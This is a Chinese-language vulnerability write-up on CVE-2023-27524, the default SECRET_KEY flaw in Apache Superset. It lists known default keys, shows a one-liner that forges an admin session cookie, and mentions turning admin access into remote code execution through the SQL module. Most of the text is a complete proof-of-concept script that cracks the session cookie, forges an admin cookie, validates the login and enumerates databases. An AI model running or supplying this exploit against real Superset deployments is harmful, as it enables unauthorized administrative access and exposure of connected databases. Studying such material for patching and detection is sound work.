漏洞描述
Apache Superset 是一款现代化的开源大数据工具，也是企业级商业智能 Web 应用，用于数据探索分析和数据可视化。它提供了简单易用的无代码可视化构建器和声称是最先进的 SQL 编辑器，用户可以使用这些工具快速地构建数据仪表盘。CVE-2023-27524 中，未经授权的攻击者可根据默认配置的SECRET_KEY伪造成管理员用户访问Apache Superset。
漏洞影响
网络测绘
漏洞复现
漏洞修复补丁
补丁代码中，新建了判断用户是否使用了默认的Key进行配置，如果为默认的Key，就直接中断启动,。但在 Docker的 env 下还是添加了固定的 Key: TEST_NON_DEV_SECRET。
# https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]这里拿Docker下的环境举例
初次请求时会获取到 Cookie, 使用默认Key验证 Cookie是否可被伪造
登陆主页面观察主要参数
通过设置参数 user_id 和 _user_id 为 1 ,构造加密Cookie
>>> from flask_unsign import session
>>> session.sign({'_user_id': 1, 'user_id': 1},'TEST_NON_DEV_SECRET')
'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZE51uw.EdD7zSzojgY4keqZLOKR4GndJf8'利用构造的 Cookie就可以获取到 Web后台管理权限, 后台中存在数据库语句执行模块，通过设置允许执行其他数据库语句后利用数据库语句 RCE
漏洞POC
from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')
parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)
args = parser.parse_args()
try:
u = args.url.rstrip('/') + '/login/'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
}
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
if resp.status_code != 200:
print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
return
session_cookie = None
for c in resp.cookies:
if c.name == 'session':
session_cookie = c.value
break
if not session_cookie:
print('Error: No session cookie found')
return
print(f'Got session cookie: {session_cookie}')
try:
decoded = session.decode(session_cookie)
print(f'Decoded session cookie: {decoded}')
except:
print('Error: Not a Flask session cookie')
return
match = re.search(r'"version_string": "(.*?)"', resp.text)
if match:
version = match.group(1)
else:
version = 'Unknown'
print(f'Superset Version: {version}')
for i, k in enumerate(SECRET_KEYS):
cracked = session.verify(session_cookie, k)
if cracked:
break
if not cracked:
print('Failed to crack session cookie')
return
print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')
try:
user_id = int(args.id)
except:
user_id = args.id
forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
print(f'Forged session cookie for user {user_id}: {forged_cookie}')
if args.validate:
try:
headers['Cookie'] = f'session={forged_cookie}'
print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')
sleep(args.timeout)
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
if resp.status_code == 302:
print(f'Got 302 on login, forged cookie appears to have been accepted')
validated = True
else:
print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
except Exception as e_inner:
print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
if not validated:
return
print('Enumerating databases')
for i in range(1, 101):
database_url_base = args.url.rstrip('/') + '/api/v1/database'
try:
r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)
if r.status_code == 200:
result = r.json()['result'] # validate response is JSON
name = result['database_name']
print(f'Found database {name}')
elif r.status_code == 404:
print(f'Done enumerating databases')
break # no more databases
else:
print(f'Unexpected error: status code={r.status_code}')
break
except Exception as e_inner:
print(f'Unexpected error: {e_inner}')
break
except Exception as e:
print(f'Unexpected error: {e}')
if __name__ == '__main__':
main()
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